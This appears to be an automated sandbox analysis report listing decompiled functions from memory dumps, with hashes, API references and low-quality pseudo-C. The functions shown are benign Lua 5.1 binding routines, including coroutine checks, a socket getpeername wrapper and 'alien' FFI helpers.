Opcode ID: 0cc2167c9799a8e42aef1141577d962e13f8f037fe1634c153d7946b988c1e4b
Instruction ID: 2137b814d3c808b4502220173b9ccc03ed77b708179feff10104b4b49e5028a6
Opcode Fuzzy Hash: 0cc2167c9799a8e42aef1141577d962e13f8f037fe1634c153d7946b988c1e4b
Instruction Fuzzy Hash: 1001F7B2D0418266C63D3A2B9C4FE3F3F7C7FC2B10F084518F4D99614DE6189A519163

Uniqueness

Uniqueness Score: -1.00%

Function 10010C60, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

lua_tothread.LUA5.1(?,00000001), ref: 10010C69
luaL_argerror.LUA5.1(?,00000001,coroutine expected), ref: 10010C7F

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

lua_gettop.LUA5.1(?), ref: 10010C88
lua_pushboolean.LUA5.1(?,00000000), ref: 10010CA2
lua_insert.LUA5.1(?,000000FE,?,00000000), ref: 10010CAA
lua_pushboolean.LUA5.1(?,00000001), ref: 10010CBD
lua_insert.LUA5.1(?,00000000,?,00000001), ref: 10010CC9

Strings

coroutine expected, xrefs: 10010C77

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_insert.lua_pushboolean.$L_argerror.L_error.lua_getstack.lua_gettop.lua_tothread.
String ID: coroutine expected
API String ID: 3459704936-3001328647
Opcode ID: f08ed33f8803161433fa24a3da4b515019ca68c4f5d3ce97b35c2f7801da415f
Instruction ID: a3048538ea0917ae930ddf6640a8ee05e40c27afc8ffdcd82d71cd8df59a7dcb
Opcode Fuzzy Hash: f08ed33f8803161433fa24a3da4b515019ca68c4f5d3ce97b35c2f7801da415f
Instruction Fuzzy Hash: 51F0963A65592132F512E2286D03FEF155ECFC23F1F150315F924AA1C7FBA9A69201FA

Uniqueness

Uniqueness Score: -1.00%

Function 00591530, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
networkCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00591530(long long __fp0, signed int* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v30;
				signed int _t10;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;

				_t20 =  &_v20;
				_push(_t20);
				_t10 =  *_a8;
				_push( &_v16);
				_push(_t10);
				_v20 = 0x10;
				L00594A22();
				if(_t10 >= 0) {
					_push(_v24);
					L00594A10();
					_t18 = _v12;
					_push(_t10);
					_push(_t18);
					L00594AD0();
					_push(_v30);
					L00594A1C();
					_v16 = _t10 & 0x0000ffff;
					asm("fild dword [esp+0x24]");
					 *((long long*)(_t20 + 8 - 8)) = __fp0;
					_push(_t18);
					L00594B5A();
					return 2;
				} else {
					_t19 = _v8;
					_push(_t19);
					L00594B4E();
					_push("getpeername failed");
					_push(_t19);
					L00594AD0();
					return 2;
				}
			}

0x00591530
0x0059153c
0x0059153d
0x00591543
0x00591544
0x00591545
0x0059154d
0x00591554
0x0059157c
0x0059157d
0x00591582
0x00591586
0x00591587
0x00591588
0x00591594
0x00591595
0x005915a2
0x005915a6
0x005915aa
0x005915ad
0x005915ae
0x005915bf
0x00591556
0x00591556
0x0059155a
0x0059155b
0x00591560
0x00591565
0x00591566
0x00591577
0x00591577

APIs

getpeername.WSOCK32 ref: 0059154D
lua_pushnil.LUA5.1(?), ref: 0059155B
lua_pushstring.LUA5.1(?,getpeername failed,?), ref: 00591566
inet_ntoa.WSOCK32(?), ref: 0059157D
lua_pushstring.LUA5.1(?,00000000,?), ref: 00591588
htons.WSOCK32(?), ref: 00591595
lua_pushnumber.LUA5.1(?), ref: 005915AE

Strings

getpeername failed, xrefs: 00591560

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$getpeernamehtonsinet_ntoalua_pushnil.lua_pushnumber.
String ID: getpeername failed
API String ID: 1379988920-3510183359
Opcode ID: 92653734edb0a27083830a5cbd586702b5086371a543bda5cb10db1ed579a2e1
Instruction ID: 3fd6268f3333fd306036d1b7cb85000f3c8977ed5c0f629adf9d00e1377be767
Opcode Fuzzy Hash: 92653734edb0a27083830a5cbd586702b5086371a543bda5cb10db1ed579a2e1
Instruction Fuzzy Hash: 990184B14086136BCA00FB18D84AE5F7BD9BFC4304F454968F48557241E738DD1A8BAB

Uniqueness

Uniqueness Score: -1.00%

Function 005E1E70, Relevance: 14.0, APIs: 2, Strings: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E005E1E70(intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* _t5;
				intOrPtr* _t6;
				char* _t7;
				intOrPtr* _t9;
				intOrPtr _t12;
				char* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;

				_t14 = _a4;
				_t6 = E005E1110(_t5, 1, _t14, "alien_function");
				_t16 = _t15 + 4;
				if(_t6 == 0) {
					_t9 = E005E1110(_t6, 1, _t14, "alien_callback");
					_t16 = _t16 + 4;
					if(_t9 == 0) {
						_push("alien function or callback expected");
						_push(1);
						_push(_t14);
						L005E3F14();
						_t16 = _t16 + 0xc;
						_t6 = 0;
					} else {
						_t6 =  *((intOrPtr*)( *_t9 + 0x18));
					}
				}
				_t12 =  *_t6;
				if(_t12 == 0) {
					L6:
					_t13 = "default";
					goto L7;
				} else {
					_t13 =  *(_t12 + 4);
					if(_t13 != 0) {
						L7:
						_t7 =  *(_t6 + 8);
						if(_t7 == 0) {
							_t7 = "anonymous";
						}
						_push(_t13);
						_push(_t7);
						_push("alien function %s, library %s");
						_push(_t14);
						L005E3EEA();
						return 1;
					}
					goto L6;
				}
			}

0x005e1e72
0x005e1e80
0x005e1e85
0x005e1e8a
0x005e1e91
0x005e1e96
0x005e1e9b
0x005e1ea4
0x005e1ea9
0x005e1eab
0x005e1eac
0x005e1eb1
0x005e1eb4
0x005e1e9d
0x005e1e9f
0x005e1e9f
0x005e1e9b
0x005e1eb6
0x005e1eba
0x005e1ec3
0x005e1ec3
0x00000000
0x005e1ebc
0x005e1ebc
0x005e1ec1
0x005e1ec8
0x005e1ec8
0x005e1ecd
0x005e1ecf
0x005e1ecf
0x005e1ed4
0x005e1ed5
0x005e1ed6
0x005e1edb
0x005e1edc
0x005e1eeb
0x005e1eeb
0x00000000
0x005e1ec1

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

lua_pushfstring.LUA5.1(?,alien function %s, library %s,?,default), ref: 005E1EDC

Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E115F

luaL_argerror.LUA5.1(?,00000001,alien function or callback expected), ref: 005E1EAC

Strings

alien function %s, library %s, xrefs: 005E1ED6
alien_callback, xrefs: 005E1E8C
alien_function, xrefs: 005E1E76
alien function or callback expected, xrefs: 005E1EA4
anonymous, xrefs: 005E1ECF
default, xrefs: 005E1EC3, 005E1ED4

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_settop.$L_argerror.lua_getfield.lua_getmetatable.lua_pushfstring.lua_rawequal.lua_touserdata.
String ID: alien function %s, library %s$alien function or callback expected$alien_callback$alien_function$anonymous$default
API String ID: 3822316347-4138184908
Opcode ID: 7f67a654ed1547592977fdbf2dd41bc28d01ebe1f7e0f887e1c06a9c288df06c
Instruction ID: 0dce2fe863848c8bbbfeaccc5b793e0c2ccbb1713d55aa7bea7b4376986e1653
Opcode Fuzzy Hash: 7f67a654ed1547592977fdbf2dd41bc28d01ebe1f7e0f887e1c06a9c288df06c
Instruction Fuzzy Hash: 79F08171B00BC19BEB2C9A179D86F6A3E9DBB54748F040468FC85DB252F2A1DC50C295

Uniqueness

Uniqueness Score: -1.00%

Function 00593650, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00593650(void* __eax, intOrPtr _a4) {
				void* _t4;
				intOrPtr _t5;
				void* _t6;
				void* _t7;

				_t5 = _a4;
				_push("dirty");
				_push(_t5);
				_t4 = 0;
				L00594AD0();
				_push(0xfffffffe);
				_push(_t5);
				L00594B00();
				_push(0xffffffff);
				_push(_t5);
				L00594AFA();
				_t7 = _t6 + 0x18;
				if(__eax != 0) {
					_push(0xfffffffe);
					_push(_t5);
					L00594B90();
					_push(1);
					_push(1);
					_push(_t5);
					L00594BC0();
					_push(0xffffffff);
					_push(_t5);
					L00594B18();
					_t7 = _t7 + 0x1c;
					_t4 = __eax;
				}
				_push(0xfffffffe);
				_push(_t5);
				L00594AB8();
				return _t4;
			}

0x00593651
0x00593656
0x0059365b
0x0059365c
0x0059365e
0x00593663
0x00593665
0x00593666
0x0059366b
0x0059366d
0x0059366e
0x00593673
0x00593678
0x0059367a
0x0059367c
0x0059367d
0x00593682
0x00593684
0x00593686
0x00593687
0x0059368c
0x0059368e
0x0059368f
0x00593694
0x00593697
0x00593697
0x00593699
0x0059369b
0x0059369c
0x005936a8

APIs

lua_pushstring.LUA5.1(005935B1,dirty,?,000000FF,005935B1,000000FF), ref: 0059365E
lua_gettable.LUA5.1(005935B1,000000FE,005935B1,dirty,?,000000FF,005935B1,000000FF), ref: 00593666
lua_type.LUA5.1(005935B1,000000FF,005935B1,000000FE,005935B1,dirty,?,000000FF,005935B1,000000FF), ref: 0059366E
lua_pushvalue.LUA5.1(005935B1,000000FE,?,?,?,000000FF,005935B1,000000FF), ref: 0059367D
lua_call.LUA5.1(005935B1,00000001,00000001,005935B1,000000FE,?,?,?,000000FF,005935B1,000000FF), ref: 00593687
lua_toboolean.LUA5.1(005935B1,000000FF,005935B1,00000001,00000001,005935B1,000000FE,?,?,?,000000FF,005935B1,000000FF), ref: 0059368F
lua_settop.LUA5.1(005935B1,000000FE,?,?,?,000000FF,005935B1,000000FF), ref: 0059369C

Strings

dirty, xrefs: 00593656

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_call.lua_gettable.lua_pushstring.lua_pushvalue.lua_settop.lua_toboolean.lua_type.
String ID: dirty
API String ID: 1811909338-3644938061
Opcode ID: c44ffd1d014e74b3fef3a90b9e3d12276d1c067198cb771f1402b22aaf4c6e85
Instruction ID: 64cde6a40c583e7c139e0c2937d3531e23e297dae76942149e7974adcc46d7ba
Opcode Fuzzy Hash: c44ffd1d014e74b3fef3a90b9e3d12276d1c067198cb771f1402b22aaf4c6e85
Instruction Fuzzy Hash: A3E0C966649532319D0132292D0AF9E194B6FC3335F250354F535762D2EE459E0749EE

Uniqueness

Uniqueness Score: -1.00%

Function 10016B00, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 10016B0A

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_getmetatable.LUA5.1(?,00000001,?,00000001,00000005), ref: 10016B12
lua_createtable.LUA5.1(?,00000000,00000001), ref: 10016B22
lua_pushvalue.LUA5.1(?,000000FF,?,00000000,00000001), ref: 10016B2A
lua_setmetatable.LUA5.1(?,00000001,?,000000FF,?,00000000,00000001), ref: 10016B32
lua_pushvalue.LUA5.1(?,FFFFD8EE), ref: 10016B40
lua_setfield.LUA5.1(?,000000FE,__index,?,FFFFD8EE), ref: 10016B4D

Strings

__index, xrefs: 10016B45

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushvalue.$L_checktype.lua_createtable.lua_getmetatable.lua_setfield.lua_setmetatable.lua_type.
String ID: __index
API String ID: 2247695975-4084755486
Opcode ID: 42f45c73c4efdcb6ec794b913c50cc92af24fb161dd5d39f1c6f0b4717ac5300
Instruction ID: f5213d6870487c8dc58f413cbca6ef4a688f92bb89149c49d54578d0bf0596f7
Opcode Fuzzy Hash: 42f45c73c4efdcb6ec794b913c50cc92af24fb161dd5d39f1c6f0b4717ac5300
Instruction Fuzzy Hash: FAE0127955953131F812B1283C43FDF10499F137E4F110250F914755CBEED6B69200EE

Uniqueness

Uniqueness Score: -1.00%

Function 00593540, Relevance: 13.6, APIs: 9, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00593540(long long __fp0) {
				signed int _t15;
				void* _t19;
				signed int _t20;
				void* _t23;
				intOrPtr _t25;
				intOrPtr* _t27;
				intOrPtr* _t29;
				intOrPtr* _t34;
				char _t36;
				signed int _t37;
				void* _t38;
				void* _t39;
				long long* _t40;
				void* _t41;
				void* _t43;
				long long* _t44;
				long long _t46;

				_t46 = __fp0;
				_t15 =  *((intOrPtr*)(_t38 + 0xc));
				_t36 =  *((intOrPtr*)(_t38 + 0x10));
				_push(_t15);
				_push(_t36);
				_t37 = 0;
				 *((intOrPtr*)(_t38 + 0x10)) = 1;
				L00594AFA();
				_t39 = _t38 + 8;
				if(_t15 != 0) {
					_t34 =  *((intOrPtr*)(_t39 + 0x24));
					while(1) {
						asm("fild dword [esp+0x10]");
						_t40 = _t39 - 8;
						 *_t40 = _t46;
						_push(_t36);
						L00594B5A();
						_push( *((intOrPtr*)(_t40 + 0x28)));
						_push(_t36);
						L00594B00();
						_push(0xffffffff);
						_push(_t36);
						L00594AFA();
						_t41 = _t40 + 0x1c;
						if(_t15 == 0) {
							break;
						}
						_t23 = E005934D0(_t15, _t36);
						_t43 = _t41 + 4;
						if(_t23 != 0xffffffff) {
							_t19 = E00593650(_t17, _t36);
							_t43 = _t43 + 4;
							if(_t19 != 0) {
								_t37 = _t37 + 1;
								_t44 = _t43 - 8;
								 *((intOrPtr*)(_t44 + 0x20)) = _t37;
								asm("fild dword [esp+0x20]");
								 *_t44 = _t46;
								_push(_t36);
								L00594B5A();
								_push(0xfffffffe);
								_push(_t36);
								L00594B90();
								_push( *((intOrPtr*)(_t44 + 0x34)));
								_push(_t36);
								L00594B42();
								_t25 =  *_t34;
								_t43 = _t44 + 0x1c;
								_t20 = 0;
								if(_t25 > 0) {
									_t29 = _t34 + 4;
									while( *_t29 != _t23) {
										_t20 = _t20 + 1;
										_t29 = _t29 + 4;
										if(_t20 < _t25) {
											continue;
										} else {
										}
										goto L15;
									}
									if(_t20 < _t25 - 1) {
										_t27 = _t34 + 4 + _t20 * 4;
										do {
											_t20 = _t20 + 1;
											 *_t27 =  *((intOrPtr*)(_t27 + 4));
											_t27 = _t27 + 4;
										} while (_t20 <  *_t34 - 1);
									}
									 *_t34 =  *_t34 - 1;
								}
							}
						}
						L15:
						_push(0xfffffffe);
						_push(_t36);
						L00594AB8();
						_t39 = _t43 + 8;
						_t15 =  *((intOrPtr*)(_t43 + 0x18)) + 1;
						 *((intOrPtr*)(_t39 + 0x10)) = _t15;
					}
					_push(0xfffffffe);
					_push(_t36);
					L00594AB8();
					return _t37;
				} else {
					return _t15;
				}
			}

0x00593540
0x00593541
0x00593547
0x0059354b
0x0059354c
0x0059354d
0x0059354f
0x00593557
0x0059355c
0x00593561
0x00593569
0x0059356d
0x0059356d
0x00593571
0x00593574
0x00593577
0x00593578
0x00593581
0x00593582
0x00593583
0x00593588
0x0059358a
0x0059358b
0x00593590
0x00593595
0x00000000
0x00000000
0x005935a1
0x005935a3
0x005935a9
0x005935ac
0x005935b1
0x005935b6
0x005935b8
0x005935b9
0x005935bc
0x005935c0
0x005935c4
0x005935c7
0x005935c8
0x005935cd
0x005935cf
0x005935d0
0x005935d9
0x005935da
0x005935db
0x005935e0
0x005935e2
0x005935e5
0x005935e9
0x005935eb
0x005935ee
0x005935f2
0x005935f3
0x005935f8
0x00000000
0x00000000
0x005935fa
0x00000000
0x005935f8
0x005935ff
0x00593601
0x00593605
0x00593608
0x00593609
0x0059360d
0x00593611
0x00593605
0x00593615
0x00593615
0x005935e9
0x005935b6
0x00593617
0x00593617
0x00593619
0x0059361a
0x00593623
0x00593626
0x00593627
0x00593627
0x00593630
0x00593632
0x00593633
0x00593642
0x00593566
0x00593566
0x00593566

APIs

lua_type.LUA5.1(000000FF,00000000,?,?,?,005932D4,?,00000001,?,?,?,00000001), ref: 00593557
lua_pushnumber.LUA5.1(000000FF,00000000,00000000,?,?), ref: 00593578
lua_gettable.LUA5.1(000000FF,?,000000FF,00000000,00000000,?,?), ref: 00593583
lua_type.LUA5.1(000000FF,000000FF,000000FF,?,000000FF,00000000,00000000,?,?), ref: 0059358B
lua_pushnumber.LUA5.1(000000FF), ref: 005935C8
lua_pushvalue.LUA5.1(000000FF,000000FE,000000FF), ref: 005935D0
lua_settable.LUA5.1(000000FF,?,000000FF,000000FE,000000FF), ref: 005935DB
lua_settop.LUA5.1(000000FF,000000FE,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0059361A
lua_settop.LUA5.1(000000FF,000000FE,?,?,?,?,?,?,?,?,?,?,?), ref: 00593633

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.lua_settop.lua_type.$lua_gettable.lua_pushvalue.lua_settable.
String ID:
API String ID: 3827969124-0
Opcode ID: 0ec92852d32b06c178a02502c8f102c15879312fc74ece6adb0a5c77dbdb7b6f
Instruction ID: 60edef7af5f405ca1447cc07366b5d4a30734c754cf2187e43a4e94a6065fd20
Opcode Fuzzy Hash: 0ec92852d32b06c178a02502c8f102c15879312fc74ece6adb0a5c77dbdb7b6f
Instruction Fuzzy Hash: 5B212930105212ABCF00AF58DC45D6FBB99FFC5325F244B2CF46692281EB21DE1687A6

Uniqueness

Uniqueness Score: -1.00%

Function 005933E0, Relevance: 13.6, APIs: 9, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E005933E0(long long __fp0, char _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, signed int* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _t16;
				intOrPtr _t18;
				intOrPtr _t22;
				signed int _t26;
				signed int* _t31;
				char _t35;
				signed int _t38;
				void* _t41;
				long long* _t42;
				void* _t43;
				void* _t45;
				long long* _t46;
				long long _t48;

				_t48 = __fp0;
				_t16 = _a8;
				_t35 = _a4;
				_push(_t16);
				_push(_t35);
				_v16 = 1;
				L00594AFA();
				_t41 = (_t38 & 0xfffffff8) - 0xc + 8;
				if(_t16 != 0) {
					_t31 = _a20;
					_t22 = _a12;
					while(1) {
						asm("fild dword [esp+0xc]");
						_t42 = _t41 - 8;
						 *_t42 = _t48;
						_push(_t35);
						L00594B5A();
						_push(_a8);
						_push(_t35);
						L00594B00();
						_push(0xffffffff);
						_push(_t35);
						L00594AFA();
						_t43 = _t42 + 0x1c;
						if(_t16 == 0) {
							break;
						}
						_t18 = E005934D0(_t16, _t35);
						_t45 = _t43 + 4;
						if(_t18 != 0xffffffff) {
							_t26 =  *_t31;
							if(_t26 < 0x40) {
								 *((intOrPtr*)(_t31 + 4 + _t26 * 4)) = _t18;
								 *_t31 =  *_t31 + 1;
							}
							if(_t22 == 0xffffffff || _t22 < _t18) {
								_t22 = _t18;
							}
							_v12 = _t18;
							_v8 = 0;
							asm("fild qword [esp+0x10]");
							_t46 = _t45 - 8;
							 *_t46 = _t48;
							_push(_t35);
							L00594B5A();
							_push(0xfffffffe);
							_push(_t35);
							L00594B90();
							_push(_a16);
							_push(_t35);
							L00594B42();
							_t45 = _t46 + 0x1c;
						}
						_push(0xfffffffe);
						_push(_t35);
						L00594AB8();
						_t41 = _t45 + 8;
						_t16 = _v16 + 1;
						_v16 = _t16;
					}
					_push(0xfffffffe);
					_push(_t35);
					L00594AB8();
					return _t22;
				} else {
					return _a12;
				}
			}

0x005933e0
0x005933e9
0x005933ee
0x005933f2
0x005933f3
0x005933f4
0x005933fc
0x00593401
0x00593406
0x00593412
0x00593415
0x00593418
0x00593418
0x0059341c
0x0059341f
0x00593422
0x00593423
0x0059342b
0x0059342c
0x0059342d
0x00593432
0x00593434
0x00593435
0x0059343a
0x0059343f
0x00000000
0x00000000
0x00593442
0x00593447
0x0059344d
0x0059344f
0x00593454
0x00593456
0x0059345d
0x0059345d
0x00593462
0x00593468
0x00593468
0x0059346a
0x0059346e
0x00593476
0x0059347a
0x0059347d
0x00593480
0x00593481
0x00593486
0x00593488
0x00593489
0x00593491
0x00593492
0x00593493
0x00593498
0x00593498
0x0059349b
0x0059349d
0x0059349e
0x005934a7
0x005934aa
0x005934ab
0x005934ab
0x005934b4
0x005934b6
0x005934b7
0x005934c7
0x00593408
0x00593411
0x00593411

APIs

lua_type.LUA5.1 ref: 005933FC
lua_pushnumber.LUA5.1(?,?,?,?,00000000,00000000,?,?), ref: 00593423
lua_gettable.LUA5.1(?,00000000,?,?,?,?,00000000,00000000,?,?), ref: 0059342D
lua_type.LUA5.1(?,000000FF,?,00000000,?,?,?,?,00000000,00000000,?,?), ref: 00593435
lua_pushnumber.LUA5.1(?), ref: 00593481
lua_pushvalue.LUA5.1(?,000000FE,?), ref: 00593489
lua_settable.LUA5.1(?,?,?,000000FE,?), ref: 00593493
lua_settop.LUA5.1(?,000000FE,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 0059349E
lua_settop.LUA5.1(?,000000FE,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?), ref: 005934B7

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.lua_settop.lua_type.$lua_gettable.lua_pushvalue.lua_settable.
String ID:
API String ID: 3827969124-0
Opcode ID: 054bf2a5ebc7917d8ab71b0ccfb04ac21e8c556905b87f119fdee70103717eed
Instruction ID: fd2564c80382ef21cee03f3f2814c1a78792a3565b318ff9d350f022e680b3fe
Opcode Fuzzy Hash: 054bf2a5ebc7917d8ab71b0ccfb04ac21e8c556905b87f119fdee70103717eed
Instruction Fuzzy Hash: CC21E471504612ABCF00BE2C9C4995E7B99BF85334F104728F82992281EB309E268BE7

Uniqueness

Uniqueness Score: -1.00%

Function 005E3400, Relevance: 13.6, APIs: 9, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E005E3400(intOrPtr* __eax, intOrPtr _a4) {
				intOrPtr* _t4;
				intOrPtr _t9;
				void* _t10;
				intOrPtr _t15;
				void* _t16;
				void* _t17;
				void* _t18;

				_t15 = _a4;
				_push(1);
				_push(_t15);
				L005E3F4A();
				_t17 = _t16 + 8;
				if(__eax != 0) {
					_push(2);
					_push(1);
					_push(_t15);
					L005E3F92();
					_push(1);
					_push(_t15);
					L005E3F0E();
					_push(_t15);
					_t12 = __eax;
					L005E3F38();
					_t18 = _t17 + 0x18;
					if(__eax < 2) {
						L5:
						_t4 = _t12;
						_t2 = _t4 + 1; // 0x1
						_t10 = _t2;
						do {
							_t9 =  *_t4;
							_t4 = _t4 + 1;
						} while (_t9 != 0);
						_push(_t4 - _t10);
						_push(_t12);
						_push(_t15);
						L005E3FC8();
						return 1;
					} else {
						_push(2);
						_push(_t15);
						L005E3F4A();
						_t18 = _t18 + 8;
						if(__eax == 0) {
							goto L5;
						} else {
							_push(2);
							_push(_t15);
							L005E3FCE();
							_push(__eax);
							_push(__eax);
							_push(_t15);
							L005E3FC8();
							return 1;
						}
					}
				} else {
					_push(_t15);
					L005E3F74();
					return 1;
				}
			}

0x005e3401
0x005e3405
0x005e3407
0x005e3408
0x005e340d
0x005e3412
0x005e3425
0x005e3427
0x005e3429
0x005e342a
0x005e342f
0x005e3431
0x005e3432
0x005e3437
0x005e3438
0x005e343a
0x005e343f
0x005e3445
0x005e3474
0x005e3474
0x005e3476
0x005e3476
0x005e3480
0x005e3480
0x005e3482
0x005e3485
0x005e348b
0x005e348c
0x005e348d
0x005e348e
0x005e349d
0x005e3447
0x005e3447
0x005e3449
0x005e344a
0x005e344f
0x005e3454
0x00000000
0x005e3456
0x005e3456
0x005e3458
0x005e3459
0x005e3461
0x005e3462
0x005e3463
0x005e3464
0x005e3473
0x005e3473
0x005e3454
0x005e3414
0x005e3414
0x005e3415
0x005e3423
0x005e3423

APIs

lua_type.LUA5.1(?,00000001), ref: 005E3408
lua_pushnil.LUA5.1(?), ref: 005E3415
luaL_checktype.LUA5.1(?,00000001,00000002), ref: 005E342A
lua_touserdata.LUA5.1(?,00000001,?,00000001,00000002), ref: 005E3432
lua_gettop.LUA5.1(?,?,00000001,?,00000001,00000002), ref: 005E343A
lua_type.LUA5.1(?,00000002), ref: 005E344A
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E3459
lua_pushlstring.LUA5.1(?,00000000,00000000), ref: 005E3464

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_gettop.lua_pushlstring.lua_pushnil.lua_touserdata.
String ID:
API String ID: 1571642718-0
Opcode ID: 8230d3ea4ff3be6938076d5295d23582f7035ca5218e0d0245de284712dc386f
Instruction ID: a75becc50b3769f758a734f6cfb466aee6e82093d8bca1528f08c03ea925ff41
Opcode Fuzzy Hash: 8230d3ea4ff3be6938076d5295d23582f7035ca5218e0d0245de284712dc386f
Instruction Fuzzy Hash: 8F01D8B2E151A232EF29222A6C0FFDF5D5D6FD2700F044450F884972D2F6899B4640F6

Uniqueness

Uniqueness Score: -1.00%

Function 10013C60, Relevance: 13.6, APIs: 9, Instructions: 57COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 10013C6C

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_objlen.LUA5.1(?,00000001,?,00000001,00000005), ref: 10013C74
luaL_checktype.LUA5.1(?,00000002,00000006,?,00000001,?,00000001,00000005), ref: 10013C80
lua_pushvalue.LUA5.1(?,00000002), ref: 10013C94
lua_pushinteger.LUA5.1(?,00000001,?,00000002), ref: 10013C9B
lua_rawgeti.LUA5.1(?,00000001,00000001,?,00000001,?,00000002), ref: 10013CA4
lua_call.LUA5.1(?,00000002,00000001,?,00000001,00000001,?,00000001,?,00000002), ref: 10013CAE
